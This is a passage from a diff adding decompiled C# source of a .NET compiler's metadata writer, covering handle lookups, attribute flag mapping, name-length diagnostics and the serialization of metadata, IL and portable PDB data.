arrayBuilder.AddRange(parameters, i); + } + } + return arrayBuilder?.ToImmutableAndFree() ?? parameters; + } + + public static IUnitReference GetDefiningUnitReference(ITypeReference typeReference, EmitContext context) + { + for (INestedTypeReference asNestedTypeReference = typeReference.AsNestedTypeReference; asNestedTypeReference != null; asNestedTypeReference = typeReference.AsNestedTypeReference) + { + if (asNestedTypeReference.AsGenericTypeInstanceReference != null) + { + return null; + } + typeReference = asNestedTypeReference.GetContainingType(context); + } + return typeReference.AsNamespaceTypeReference?.GetUnit(context); + } + + private void CreateInitialAssemblyRefIndex() + { + foreach (IAssemblyReference assemblyReference in module.GetAssemblyReferences(Context)) + { + GetOrAddAssemblyReferenceHandle(assemblyReference); + } + } + + private void CreateInitialFileRefIndex() + { + foreach (IFileReference file in module.GetFiles(Context)) + { + string fileName = file.FileName; + if (!_fileRefIndex.ContainsKey(fileName)) + { + _fileRefList.Add(file); + _fileRefIndex.Add(fileName, _fileRefList.Count); + } + } + } + + internal AssemblyReferenceHandle GetAssemblyReferenceHandle(IAssemblyReference assemblyReference) + { + IAssemblyReference containingAssembly = module.GetContainingAssembly(Context); + if (containingAssembly != null && assemblyReference == containingAssembly) + { + return default(AssemblyReferenceHandle); + } + return GetOrAddAssemblyReferenceHandle(assemblyReference); + } + + internal ModuleReferenceHandle GetModuleReferenceHandle(string moduleName) + { + return GetOrAddModuleReferenceHandle(moduleName); + } + + private BlobHandle GetCustomAttributeSignatureIndex(ICustomAttribute customAttribute) + { + if (_customAttributeSignatureIndex.TryGetValue(customAttribute, out var value)) + { + return value; + } + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + SerializeCustomAttributeSignature(customAttribute, instance); + value = metadata.GetOrAddBlob(instance); + _customAttributeSignatureIndex.Add(customAttribute, value); + instance.Free(); + return value; + } + + private EntityHandle GetCustomAttributeTypeCodedIndex(IMethodReference methodReference) + { + IMethodDefinition methodDefinition = null; + IUnitReference definingUnitReference = GetDefiningUnitReference(methodReference.GetContainingType(Context), Context); + if (definingUnitReference != null && definingUnitReference == module) + { + methodDefinition = methodReference.GetResolvedMethod(Context); + } + if (methodDefinition == null) + { + return GetMemberReferenceHandle(methodReference); + } + return GetMethodDefinitionHandle(methodDefinition); + } + + public static EventAttributes GetEventAttributes(IEventDefinition eventDef) + { + EventAttributes eventAttributes = EventAttributes.None; + if (eventDef.IsSpecialName) + { + eventAttributes |= EventAttributes.SpecialName; + } + if (eventDef.IsRuntimeSpecial) + { + eventAttributes |= EventAttributes.RTSpecialName; + } + return eventAttributes; + } + + public static FieldAttributes GetFieldAttributes(IFieldDefinition fieldDef) + { + FieldAttributes fieldAttributes = (FieldAttributes)fieldDef.Visibility; + if (fieldDef.IsStatic) + { + fieldAttributes |= FieldAttributes.Static; + } + if (fieldDef.IsReadOnly) + { + fieldAttributes |= FieldAttributes.InitOnly; + } + if (fieldDef.IsCompileTimeConstant) + { + fieldAttributes |= FieldAttributes.Literal; + } + if (fieldDef.IsNotSerialized) + { + fieldAttributes |= FieldAttributes.NotSerialized; + } + if (!fieldDef.MappedData.IsDefault) + { + fieldAttributes |= FieldAttributes.HasFieldRVA; + } + if (fieldDef.IsSpecialName) + { + fieldAttributes |= FieldAttributes.SpecialName; + } + if (fieldDef.IsRuntimeSpecial) + { + fieldAttributes |= FieldAttributes.RTSpecialName; + } + if (fieldDef.IsMarshalledExplicitly) + { + fieldAttributes |= FieldAttributes.HasFieldMarshal; + } + if (fieldDef.IsCompileTimeConstant) + { + fieldAttributes |= FieldAttributes.HasDefault; + } + return fieldAttributes; + } + + internal BlobHandle GetFieldSignatureIndex(IFieldReference fieldReference) + { + ISpecializedFieldReference asSpecializedFieldReference = fieldReference.AsSpecializedFieldReference; + if (asSpecializedFieldReference != null) + { + fieldReference = asSpecializedFieldReference.UnspecializedVersion; + } + if (_fieldSignatureIndex.TryGetValue(fieldReference, out var value)) + { + return value; + } + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + SerializeFieldSignature(fieldReference, instance); + value = metadata.GetOrAddBlob(instance); + _fieldSignatureIndex.Add(fieldReference, value); + instance.Free(); + return value; + } + + internal EntityHandle GetFieldHandle(IFieldReference fieldReference) + { + IFieldDefinition fieldDefinition = null; + IUnitReference definingUnitReference = GetDefiningUnitReference(fieldReference.GetContainingType(Context), Context); + if (definingUnitReference != null && definingUnitReference == module) + { + fieldDefinition = fieldReference.GetResolvedField(Context); + } + if (fieldDefinition == null) + { + return GetMemberReferenceHandle(fieldReference); + } + return GetFieldDefinitionHandle(fieldDefinition); + } + + internal AssemblyFileHandle GetAssemblyFileHandle(IFileReference fileReference) + { + string fileName = fileReference.FileName; + if (!_fileRefIndex.TryGetValue(fileName, out var value)) + { + _fileRefList.Add(fileReference); + _fileRefIndex.Add(fileName, value = _fileRefList.Count); + } + return MetadataTokens.AssemblyFileHandle(value); + } + + private AssemblyFileHandle GetAssemblyFileHandle(IModuleReference mref) + { + return MetadataTokens.AssemblyFileHandle(_fileRefIndex[mref.Name]); + } + + private static GenericParameterAttributes GetGenericParameterAttributes(IGenericParameter genPar) + { + GenericParameterAttributes genericParameterAttributes = GenericParameterAttributes.None; + switch (genPar.Variance) + { + case TypeParameterVariance.Covariant: + genericParameterAttributes |= GenericParameterAttributes.Covariant; + break; + case TypeParameterVariance.Contravariant: + genericParameterAttributes |= GenericParameterAttributes.Contravariant; + break; + } + if (genPar.MustBeReferenceType) + { + genericParameterAttributes |= GenericParameterAttributes.ReferenceTypeConstraint; + } + if (genPar.MustBeValueType) + { + genericParameterAttributes |= GenericParameterAttributes.NotNullableValueTypeConstraint; + } + if (genPar.MustHaveDefaultConstructor) + { + genericParameterAttributes |= GenericParameterAttributes.DefaultConstructorConstraint; + } + return genericParameterAttributes; + } + + private EntityHandle GetExportedTypeImplementation(INamespaceTypeReference namespaceRef) + { + IUnitReference unit = namespaceRef.GetUnit(Context); + if (unit is IAssemblyReference assemblyReference) + { + return GetAssemblyReferenceHandle(assemblyReference); + } + IModuleReference moduleReference = (IModuleReference)unit; + IAssemblyReference containingAssembly = moduleReference.GetContainingAssembly(Context); + if (containingAssembly != null && containingAssembly != module.GetContainingAssembly(Context)) + { + return GetAssemblyReferenceHandle(containingAssembly); + } + return GetAssemblyFileHandle(moduleReference); + } + + private static uint GetManagedResourceOffset(ManagedResource resource, BlobBuilder resourceWriter) + { + if (resource.ExternalFile != null) + { + return resource.Offset; + } + int count = resourceWriter.Count; + resource.WriteData(resourceWriter); + return (uint)count; + } + + private static uint GetManagedResourceOffset(BlobBuilder resource, BlobBuilder resourceWriter) + { + int count = resourceWriter.Count; + resourceWriter.WriteInt32(resource.Count); + resource.WriteContentTo(resourceWriter); + resourceWriter.Align(8); + return (uint)count; + } + + public static string GetMetadataName(INamedTypeReference namedType, int generation) + { + string text = ((generation == 0) ? namedType.Name : (namedType.Name + "#" + generation)); + string associatedFileIdentifier = namedType.AssociatedFileIdentifier; + if (!namedType.MangleName && associatedFileIdentifier == null) + { + return text; + } + return MetadataHelpers.ComposeAritySuffixedMetadataName(text, namedType.GenericParameterCount, associatedFileIdentifier); + } + + internal MemberReferenceHandle GetMemberReferenceHandle(ITypeMemberReference memberRef) + { + return GetOrAddMemberReferenceHandle(memberRef); + } + + internal EntityHandle GetMemberReferenceParent(ITypeMemberReference memberRef) + { + ITypeDefinition typeDefinition = memberRef.GetContainingType(Context).AsTypeDefinition(Context); + if (typeDefinition != null) + { + TryGetTypeDefinitionHandle(typeDefinition, out var handle); + if (!handle.IsNil) + { + if (memberRef is IFieldReference) + { + return handle; + } + if (memberRef is IMethodReference methodReference) + { + if (methodReference.AcceptsExtraArguments && TryGetMethodDefinitionHandle(methodReference.GetResolvedMethod(Context), out var handle2)) + { + return handle2; + } + return handle; + } + } + } + ITypeReference containingType = memberRef.GetContainingType(Context); + if (!containingType.IsTypeSpecification()) + { + return GetTypeReferenceHandle(containingType); + } + return GetTypeSpecificationHandle(containingType); + } + + internal EntityHandle GetMethodDefinitionOrReferenceHandle(IMethodReference methodReference) + { + IMethodDefinition methodDefinition = null; + IUnitReference definingUnitReference = GetDefiningUnitReference(methodReference.GetContainingType(Context), Context); + if (definingUnitReference != null && definingUnitReference == module) + { + methodDefinition = methodReference.GetResolvedMethod(Context); + } + if (methodDefinition == null) + { + return GetMemberReferenceHandle(methodReference); + } + return GetMethodDefinitionHandle(methodDefinition); + } + + public static MethodAttributes GetMethodAttributes(IMethodDefinition methodDef) + { + MethodAttributes methodAttributes = (MethodAttributes)methodDef.Visibility; + if (methodDef.IsStatic) + { + methodAttributes |= MethodAttributes.Static; + } + if (methodDef.IsSealed) + { + methodAttributes |= MethodAttributes.Final; + } + if (methodDef.IsVirtual) + { + methodAttributes |= MethodAttributes.Virtual; + } + if (methodDef.IsHiddenBySignature) + { + methodAttributes |= MethodAttributes.HideBySig; + } + if (methodDef.IsNewSlot) + { + methodAttributes |= MethodAttributes.VtableLayoutMask; + } + if (methodDef.IsAccessCheckedOnOverride) + { + methodAttributes |= MethodAttributes.CheckAccessOnOverride; + } + if (methodDef.IsAbstract) + { + methodAttributes |= MethodAttributes.Abstract; + } + if (methodDef.IsSpecialName) + { + methodAttributes |= MethodAttributes.SpecialName; + } + if (methodDef.IsRuntimeSpecial) + { + methodAttributes |= MethodAttributes.RTSpecialName; + } + if (methodDef.IsPlatformInvoke) + { + methodAttributes |= MethodAttributes.PinvokeImpl; + } + if (methodDef.HasDeclarativeSecurity) + { + methodAttributes |= MethodAttributes.HasSecurity; + } + if (methodDef.RequiresSecurityObject) + { + methodAttributes |= MethodAttributes.RequireSecObject; + } + return methodAttributes; + } + + internal BlobHandle GetMethodSpecificationSignatureHandle(IGenericMethodInstanceReference methodInstanceReference) + { + if (_methodInstanceSignatureIndex.TryGetValue(methodInstanceReference, out var value)) + { + return value; + } + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + GenericTypeArgumentsEncoder genericTypeArgumentsEncoder = new BlobEncoder(instance).MethodSpecificationSignature(methodInstanceReference.GetGenericMethod(Context).GenericParameterCount); + foreach (ITypeReference genericArgument in methodInstanceReference.GetGenericArguments(Context)) + { + SerializeTypeReference(genericTypeArgumentsEncoder.AddArgument(), genericArgument); + } + value = metadata.GetOrAddBlob(instance); + _methodInstanceSignatureIndex.Add(methodInstanceReference, value); + instance.Free(); + return value; + } + + private BlobHandle GetMarshallingDescriptorHandle(IMarshallingInformation marshallingInformation) + { + if (_marshallingDescriptorIndex.TryGetValue(marshallingInformation, out var value)) + { + return value; + } + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + SerializeMarshallingDescriptor(marshallingInformation, instance); + value = metadata.GetOrAddBlob(instance); + _marshallingDescriptorIndex.Add(marshallingInformation, value); + instance.Free(); + return value; + } + + private BlobHandle GetMarshallingDescriptorHandle(ImmutableArray descriptor) + { + return metadata.GetOrAddBlob(descriptor); + } + + private BlobHandle GetMemberReferenceSignatureHandle(ITypeMemberReference memberRef) + { + if (!(memberRef is IFieldReference fieldReference)) + { + if (memberRef is IMethodReference methodReference) + { + return GetMethodSignatureHandle(methodReference); + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/MetadataWriter.cs", 1108); + } + return GetFieldSignatureIndex(fieldReference); + } + + internal BlobHandle GetMethodSignatureHandle(IMethodReference methodReference) + { + ImmutableArray signatureBlob; + return GetMethodSignatureHandleAndBlob(methodReference, out signatureBlob); + } + + internal byte[] GetMethodSignature(IMethodReference methodReference) + { + GetMethodSignatureHandleAndBlob(methodReference, out var signatureBlob); + return signatureBlob.ToArray(); + } + + private BlobHandle GetMethodSignatureHandleAndBlob(IMethodReference methodReference, out ImmutableArray signatureBlob) + { + ISpecializedMethodReference asSpecializedMethodReference = methodReference.AsSpecializedMethodReference; + if (asSpecializedMethodReference != null) + { + methodReference = asSpecializedMethodReference.UnspecializedVersion; + } + if (_signatureIndex.TryGetValue(methodReference, out var value)) + { + signatureBlob = value.Value; + return value.Key; + } + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + MethodSignatureEncoder encoder = new BlobEncoder(instance).MethodSignature(new SignatureHeader((byte)methodReference.CallingConvention).CallingConvention, methodReference.GenericParameterCount, (methodReference.CallingConvention & CallingConvention.HasThis) != 0); + SerializeReturnValueAndParameters(encoder, methodReference, methodReference.ExtraParameters); + signatureBlob = instance.ToImmutableArray(); + BlobHandle orAddBlob = metadata.GetOrAddBlob(signatureBlob); + _signatureIndex.Add(methodReference, KeyValuePairUtil.Create(orAddBlob, signatureBlob)); + instance.Free(); + return orAddBlob; + } + + private BlobHandle GetMethodSpecificationBlobHandle(IGenericMethodInstanceReference genericMethodInstanceReference) + { + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + SerializeMethodSpecificationSignature(instance, genericMethodInstanceReference); + BlobHandle orAddBlob = metadata.GetOrAddBlob(instance); + instance.Free(); + return orAddBlob; + } + + private MethodSpecificationHandle GetMethodSpecificationHandle(IGenericMethodInstanceReference methodSpec) + { + return GetOrAddMethodSpecificationHandle(methodSpec); + } + + internal EntityHandle GetMethodHandle(IMethodReference methodReference) + { + IMethodDefinition methodDefinition = null; + IUnitReference definingUnitReference = GetDefiningUnitReference(methodReference.GetContainingType(Context), Context); + if (definingUnitReference != null && definingUnitReference == module) + { + methodDefinition = methodReference.GetResolvedMethod(Context); + } + if (methodDefinition != null && (methodReference == methodDefinition || !methodReference.AcceptsExtraArguments) && TryGetMethodDefinitionHandle(methodDefinition, out var handle)) + { + return handle; + } + IGenericMethodInstanceReference asGenericMethodInstanceReference = methodReference.AsGenericMethodInstanceReference; + if (asGenericMethodInstanceReference == null) + { + return GetMemberReferenceHandle(methodReference); + } + return GetMethodSpecificationHandle(asGenericMethodInstanceReference); + } + + internal EntityHandle GetStandaloneSignatureHandle(ISignature signature) + { + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + MethodSignatureEncoder encoder = new BlobEncoder(instance).MethodSignature(signature.CallingConvention.ToSignatureConvention()); + SerializeReturnValueAndParameters(encoder, signature, ImmutableArray.Empty); + BlobHandle orAddBlob = metadata.GetOrAddBlob(instance); + return GetOrAddStandaloneSignatureHandle(orAddBlob); + } + + public static ParameterAttributes GetParameterAttributes(IParameterDefinition parDef) + { + ParameterAttributes parameterAttributes = ParameterAttributes.None; + if (parDef.IsIn) + { + parameterAttributes |= ParameterAttributes.In; + } + if (parDef.IsOut) + { + parameterAttributes |= ParameterAttributes.Out; + } + if (parDef.IsOptional) + { + parameterAttributes |= ParameterAttributes.Optional; + } + if (parDef.HasDefaultValue) + { + parameterAttributes |= ParameterAttributes.HasDefault; + } + if (parDef.IsMarshalledExplicitly) + { + parameterAttributes |= ParameterAttributes.HasFieldMarshal; + } + return parameterAttributes; + } + + private BlobHandle GetPermissionSetBlobHandle(ImmutableArray permissionSet) + { + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + try + { + instance.WriteByte(46); + instance.WriteCompressedInteger(permissionSet.Length); + SerializePermissionSet(permissionSet, instance); + return metadata.GetOrAddBlob(instance); + } + finally + { + instance.Free(); + } + } + + public static PropertyAttributes GetPropertyAttributes(IPropertyDefinition propertyDef) + { + PropertyAttributes propertyAttributes = PropertyAttributes.None; + if (propertyDef.IsSpecialName) + { + propertyAttributes |= PropertyAttributes.SpecialName; + } + if (propertyDef.IsRuntimeSpecial) + { + propertyAttributes |= PropertyAttributes.RTSpecialName; + } + if (propertyDef.HasDefaultValue) + { + propertyAttributes |= PropertyAttributes.HasDefault; + } + return propertyAttributes; + } + + private BlobHandle GetPropertySignatureHandle(IPropertyDefinition propertyDef) + { + if (_signatureIndex.TryGetValue(propertyDef, out var value)) + { + return value.Key; + } + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + MethodSignatureEncoder encoder = new BlobEncoder(instance).PropertySignature((propertyDef.CallingConvention & CallingConvention.HasThis) != 0); + SerializeReturnValueAndParameters(encoder, propertyDef, ImmutableArray.Empty); + ImmutableArray value2 = instance.ToImmutableArray(); + BlobHandle orAddBlob = metadata.GetOrAddBlob(value2); + _signatureIndex.Add(propertyDef, KeyValuePairUtil.Create(orAddBlob, value2)); + instance.Free(); + return orAddBlob; + } + + private EntityHandle GetResolutionScopeHandle(IUnitReference unitReference) + { + if (unitReference is IAssemblyReference assemblyReference) + { + return GetAssemblyReferenceHandle(assemblyReference); + } + IModuleReference moduleReference = (IModuleReference)unitReference; + IAssemblyReference containingAssembly = moduleReference.GetContainingAssembly(Context); + if (containingAssembly != null && containingAssembly != module.GetContainingAssembly(Context)) + { + return GetAssemblyReferenceHandle(containingAssembly); + } + return GetModuleReferenceHandle(moduleReference.Name); + } + + private StringHandle GetStringHandleForPathAndCheckLength(string path, INamedEntity errorEntity = null) + { + CheckPathLength(path, errorEntity); + return metadata.GetOrAddString(path); + } + + private StringHandle GetStringHandleForNameAndCheckLength(string name, INamedEntity errorEntity = null) + { + CheckNameLength(name, errorEntity); + return metadata.GetOrAddString(name); + } + + private StringHandle GetStringHandleForNamespaceAndCheckLength(INamespaceTypeReference namespaceType, string mangledTypeName) + { + string namespaceName = namespaceType.NamespaceName; + if (namespaceName.Length == 0) + { + return default(StringHandle); + } + CheckNamespaceLength(namespaceName, mangledTypeName, namespaceType); + return metadata.GetOrAddString(namespaceName); + } + + private void CheckNameLength(string name, INamedEntity errorEntity) + { + if (IsTooLongInternal(name, 1023)) + { + Location namedEntityLocation = GetNamedEntityLocation(errorEntity); + Context.Diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_MetadataNameTooLong, namedEntityLocation, name)); + } + } + + private void CheckPathLength(string path, INamedEntity errorEntity = null) + { + if (IsTooLongInternal(path, 259)) + { + Location namedEntityLocation = GetNamedEntityLocation(errorEntity); + Context.Diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_MetadataNameTooLong, namedEntityLocation, path)); + } + } + + private void CheckNamespaceLength(string namespaceName, string mangledTypeName, INamespaceTypeReference errorEntity) + { + if (namespaceName.Length + 1 + mangledTypeName.Length > 341 && s_utf8Encoding.GetByteCount(namespaceName) + 1 + s_utf8Encoding.GetByteCount(mangledTypeName) > 1023) + { + Location namedEntityLocation = GetNamedEntityLocation(errorEntity); + Context.Diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_MetadataNameTooLong, namedEntityLocation, namespaceName + "." + mangledTypeName)); + } + } + + internal bool IsUsingStringTooLong(string usingString, INamedEntity errorEntity = null) + { + if (IsTooLongInternal(usingString, 2046)) + { + Location namedEntityLocation = GetNamedEntityLocation(errorEntity); + Context.Diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.WRN_PdbUsingNameTooLong, namedEntityLocation, usingString)); + return true; + } + return false; + } + + internal bool IsLocalNameTooLong(ILocalDefinition localDefinition) + { + string name = localDefinition.Name; + if (IsTooLongInternal(name, 2046)) + { + Context.Diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.WRN_PdbLocalNameTooLong, localDefinition.Location, name)); + return true; + } + return false; + } + + internal static bool IsTooLongInternal(string str, int maxLength) + { + if (str.Length < maxLength / 3) + { + return false; + } + return s_utf8Encoding.GetByteCount(str) > maxLength; + } + + private static Location GetNamedEntityLocation(INamedEntity errorEntity) + { + ISymbolInternal symbolOpt = ((!(errorEntity is INamespace obj)) ? (errorEntity as IReference)?.GetInternalSymbol() : obj.GetInternalSymbol()); + return GetSymbolLocation(symbolOpt); + } + + protected static Location GetSymbolLocation(ISymbolInternal symbolOpt) + { + if (symbolOpt == null || symbolOpt.Locations.IsDefaultOrEmpty) + { + return Location.None; + } + return symbolOpt.Locations[0]; + } + + internal TypeAttributes GetTypeAttributes(ITypeDefinition typeDef) + { + return GetTypeAttributes(typeDef, Context); + } + + public static TypeAttributes GetTypeAttributes(ITypeDefinition typeDef, EmitContext context) + { + TypeAttributes typeAttributes = TypeAttributes.NotPublic; + switch (typeDef.Layout) + { + case LayoutKind.Sequential: + typeAttributes |= TypeAttributes.SequentialLayout; + break; + case LayoutKind.Explicit: + typeAttributes |= TypeAttributes.ExplicitLayout; + break; + } + if (typeDef.IsInterface) + { + typeAttributes |= TypeAttributes.ClassSemanticsMask; + } + if (typeDef.IsAbstract) + { + typeAttributes |= TypeAttributes.Abstract; + } + if (typeDef.IsSealed) + { + typeAttributes |= TypeAttributes.Sealed; + } + if (typeDef.IsSpecialName) + { + typeAttributes |= TypeAttributes.SpecialName; + } + if (typeDef.IsRuntimeSpecial) + { + typeAttributes |= TypeAttributes.RTSpecialName; + } + if (typeDef.IsComObject) + { + typeAttributes |= TypeAttributes.Import; + } + if (typeDef.IsSerializable) + { + typeAttributes |= TypeAttributes.Serializable; + } + if (typeDef.IsWindowsRuntimeImport) + { + typeAttributes |= TypeAttributes.WindowsRuntime; + } + switch (typeDef.StringFormat) + { + case CharSet.Unicode: + typeAttributes |= TypeAttributes.UnicodeClass; + break; + case CharSet.Auto: + typeAttributes |= TypeAttributes.AutoClass; + break; + } + if (typeDef.HasDeclarativeSecurity) + { + typeAttributes |= TypeAttributes.HasSecurity; + } + if (typeDef.IsBeforeFieldInit) + { + typeAttributes |= TypeAttributes.BeforeFieldInit; + } + if (typeDef.AsNestedTypeDefinition(context) != null) + { + switch (((ITypeDefinitionMember)typeDef).Visibility) + { + case TypeMemberVisibility.Public: + typeAttributes |= TypeAttributes.NestedPublic; + break; + case TypeMemberVisibility.Private: + typeAttributes |= TypeAttributes.NestedPrivate; + break; + case TypeMemberVisibility.Family: + typeAttributes |= TypeAttributes.NestedFamily; + break; + case TypeMemberVisibility.Assembly: + typeAttributes |= TypeAttributes.NestedAssembly; + break; + case TypeMemberVisibility.FamilyAndAssembly: + typeAttributes |= TypeAttributes.NestedFamANDAssem; + break; + case TypeMemberVisibility.FamilyOrAssembly: + typeAttributes |= TypeAttributes.VisibilityMask; + break; + } + return typeAttributes; + } + INamespaceTypeDefinition namespaceTypeDefinition = typeDef.AsNamespaceTypeDefinition(context); + if (namespaceTypeDefinition != null && namespaceTypeDefinition.IsPublic) + { + typeAttributes |= TypeAttributes.Public; + } + return typeAttributes; + } + + private EntityHandle GetDeclaringTypeOrMethodHandle(IGenericParameter genPar) + { + IGenericTypeParameter asGenericTypeParameter = genPar.AsGenericTypeParameter; + if (asGenericTypeParameter != null) + { + return GetTypeDefinitionHandle(asGenericTypeParameter.DefiningType); + } + IGenericMethodParameter asGenericMethodParameter = genPar.AsGenericMethodParameter; + if (asGenericMethodParameter != null) + { + return GetMethodDefinitionHandle(asGenericMethodParameter.DefiningMethod); + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/MetadataWriter.cs", 1596); + } + + private TypeReferenceHandle GetTypeReferenceHandle(ITypeReference typeReference) + { + if (TryGetTypeReferenceHandle(typeReference, out var handle)) + { + return handle; + } + INestedTypeReference asNestedTypeReference = typeReference.AsNestedTypeReference; + if (asNestedTypeReference != null) + { + GetTypeReferenceHandle(asNestedTypeReference.GetContainingType(Context)); + } + return GetOrAddTypeReferenceHandle(typeReference); + } + + private TypeSpecificationHandle GetTypeSpecificationHandle(ITypeReference typeReference) + { + return GetOrAddTypeSpecificationHandle(typeReference); + } + + internal ITypeDefinition GetTypeDefinition(int token) + { + return GetTypeDef(MetadataTokens.TypeDefinitionHandle(token)); + } + + internal IMethodDefinition GetMethodDefinition(int token) + { + return GetMethodDef(MetadataTokens.MethodDefinitionHandle(token)); + } + + internal INestedTypeReference GetNestedTypeReference(int token) + { + return GetTypeDef(MetadataTokens.TypeDefinitionHandle(token)).AsNestedTypeReference; + } + + internal BlobHandle GetTypeSpecSignatureIndex(ITypeReference typeReference) + { + if (_typeSpecSignatureIndex.TryGetValue(typeReference, out var value)) + { + return value; + } + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + SerializeTypeReference(new BlobEncoder(instance).TypeSpecificationSignature(), typeReference); + value = metadata.GetOrAddBlob(instance); + _typeSpecSignatureIndex.Add(typeReference, value); + instance.Free(); + return value; + } + + internal EntityHandle GetTypeHandle(ITypeReference typeReference, bool treatRefAsPotentialTypeSpec = true) + { + ITypeDefinition typeDefinition = typeReference.AsTypeDefinition(Context); + if (typeDefinition != null && TryGetTypeDefinitionHandle(typeDefinition, out var handle)) + { + return handle; + } + if (!treatRefAsPotentialTypeSpec || !typeReference.IsTypeSpecification()) + { + return GetTypeReferenceHandle(typeReference); + } + return GetTypeSpecificationHandle(typeReference); + } + + internal EntityHandle GetDefinitionHandle(IDefinition definition) + { + if (!(definition is ITypeDefinition def)) + { + if (!(definition is IMethodDefinition def2)) + { + if (!(definition is IFieldDefinition def3)) + { + if (!(definition is IEventDefinition def4)) + { + if (definition is IPropertyDefinition def5) + { + return GetPropertyDefIndex(def5); + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/MetadataWriter.cs", 1687); + } + return GetEventDefinitionHandle(def4); + } + return GetFieldDefinitionHandle(def3); + } + return GetMethodDefinitionHandle(def2); + } + return GetTypeDefinitionHandle(def); + } + + public void WriteMetadataAndIL(PdbWriter nativePdbWriterOpt, Stream metadataStream, Stream ilStream, Stream portablePdbStreamOpt, out MetadataSizes metadataSizes) + { + nativePdbWriterOpt?.SetMetadataEmitter(this); + BlobBuilder blobBuilder = new BlobBuilder(1024); + BlobBuilder blobBuilder2 = new BlobBuilder(4096); + BlobBuilder mappedFieldDataBuilder = new BlobBuilder(0); + BlobBuilder managedResourceDataBuilder = new BlobBuilder(0); + blobBuilder.WriteUInt32(0u); + BuildMetadataAndIL(nativePdbWriterOpt, blobBuilder, mappedFieldDataBuilder, managedResourceDataBuilder, out var _, out var _); + ImmutableArray rowCounts = metadata.GetRowCounts(); + PopulateEncTables(rowCounts); + MetadataRootBuilder metadataRootBuilder = new MetadataRootBuilder(metadata, module.SerializationProperties.TargetRuntimeVersion, suppressValidation: true); + metadataRootBuilder.Serialize(blobBuilder2, 0, 0); + metadataSizes = metadataRootBuilder.Sizes; + try + { + blobBuilder.WriteContentTo(ilStream); + blobBuilder2.WriteContentTo(metadataStream); + } + catch (Exception ex) when (!(ex is OperationCanceledException)) + { + throw new PeWritingException(ex); + } + if (portablePdbStreamOpt != null) + { + PortablePdbBuilder portablePdbBuilder = GetPortablePdbBuilder(rowCounts, default(MethodDefinitionHandle), null); + BlobBuilder blobBuilder3 = new BlobBuilder(); + portablePdbBuilder.Serialize(blobBuilder3); + try + { + blobBuilder3.WriteContentTo(portablePdbStreamOpt); + } + catch (Exception ex2) when (!(ex2 is OperationCanceledException)) + { + throw new SymUnmanagedWriterException(ex2.Message, ex2); + } + } + } + + public void BuildMetadataAndIL(PdbWriter nativePdbWriterOpt, BlobBuilder ilBuilder, BlobBuilder mappedFieldDataBuilder, BlobBuilder managedResourceDataBuilder, out Blob mvidFixup, out Blob mvidStringFixup) + { + CreateIndices(); + if (_debugMetadataOpt != null) + { + DebugDocumentsBuilder debugDocumentsBuilder = Module.DebugDocumentsBuilder; + foreach (SyntaxTree syntaxTree in Module.CommonCompilation.SyntaxTrees) + { + DebugSourceDocument debugSourceDocument = debugDocumentsBuilder.TryGetDebugDocument(syntaxTree.FilePath, null); + if (debugSourceDocument != null && !_documentIndex.ContainsKey(debugSourceDocument)) + { + AddDocument(debugSourceDocument, _documentIndex); + } + } + RebuildData rebuildData = Context.RebuildData; + if (rebuildData != null) + { + _usingNonSourceDocumentNameEnumerator = true; + _nonSourceDocumentNameEnumerator = rebuildData.NonSourceFileDocumentNames.GetEnumerator(); + } + DefineModuleImportScope(); + EmbedTypeDefinitionDocumentInformation(module); + if (module.SourceLinkStreamOpt != null) + { + EmbedSourceLink(module.SourceLinkStreamOpt); + } + if (!module.IsEncDelta) + { + EmbedCompilationOptions(module); + EmbedMetadataReferenceInformation(module); + } + } + int[] methodBodyOffsets; + if (MetadataOnly) + { + methodBodyOffsets = SerializeThrowNullMethodBodies(ilBuilder); + mvidStringFixup = default(Blob); + } + else + { + methodBodyOffsets = SerializeMethodBodies(ilBuilder, nativePdbWriterOpt, out mvidStringFixup); + } + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + _tableIndicesAreComplete = true; + ReportReferencesToAddedSymbols(); + BlobBuilder blobBuilder = null; + if (_dynamicAnalysisDataWriterOpt != null) + { + blobBuilder = new BlobBuilder(); + _dynamicAnalysisDataWriterOpt.SerializeMetadataTables(blobBuilder); + } + PopulateTypeSystemTables(methodBodyOffsets, mappedFieldDataBuilder, managedResourceDataBuilder, blobBuilder, out mvidFixup); + } + + public virtual void PopulateEncTables(ImmutableArray typeSystemRowCounts) + { + } + + public MetadataRootBuilder GetRootBuilder() + { + return new MetadataRootBuilder(metadata, module.SerializationProperties.TargetRuntimeVersion, suppressValidation: true); + } + + public PortablePdbBuilder GetPortablePdbBuilder(ImmutableArray typeSystemRowCounts, MethodDefinitionHandle debugEntryPoint, Func, BlobContentId> deterministicIdProviderOpt) + { + return new PortablePdbBuilder(_debugMetadataOpt, typeSystemRowCounts, debugEntryPoint, deterministicIdProviderOpt); + } + + internal void GetEntryPoints(out MethodDefinitionHandle entryPointHandle, out MethodDefinitionHandle debugEntryPointHandle) + { + if (IsFullMetadata && !MetadataOnly) + { + IMethodReference pEEntryPoint = module.PEEntryPoint; + entryPointHandle = ((pEEntryPoint != null) ? ((MethodDefinitionHandle)GetMethodHandle((IMethodDefinition)pEEntryPoint.AsDefinition(Context))) : default(MethodDefinitionHandle)); + IMethodReference debugEntryPoint = module.DebugEntryPoint; + if (debugEntryPoint != null && debugEntryPoint != pEEntryPoint) + { + debugEntryPointHandle = (MethodDefinitionHandle)GetMethodHandle((IMethodDefinition)debugEntryPoint.AsDefinition(Context)); + } + else 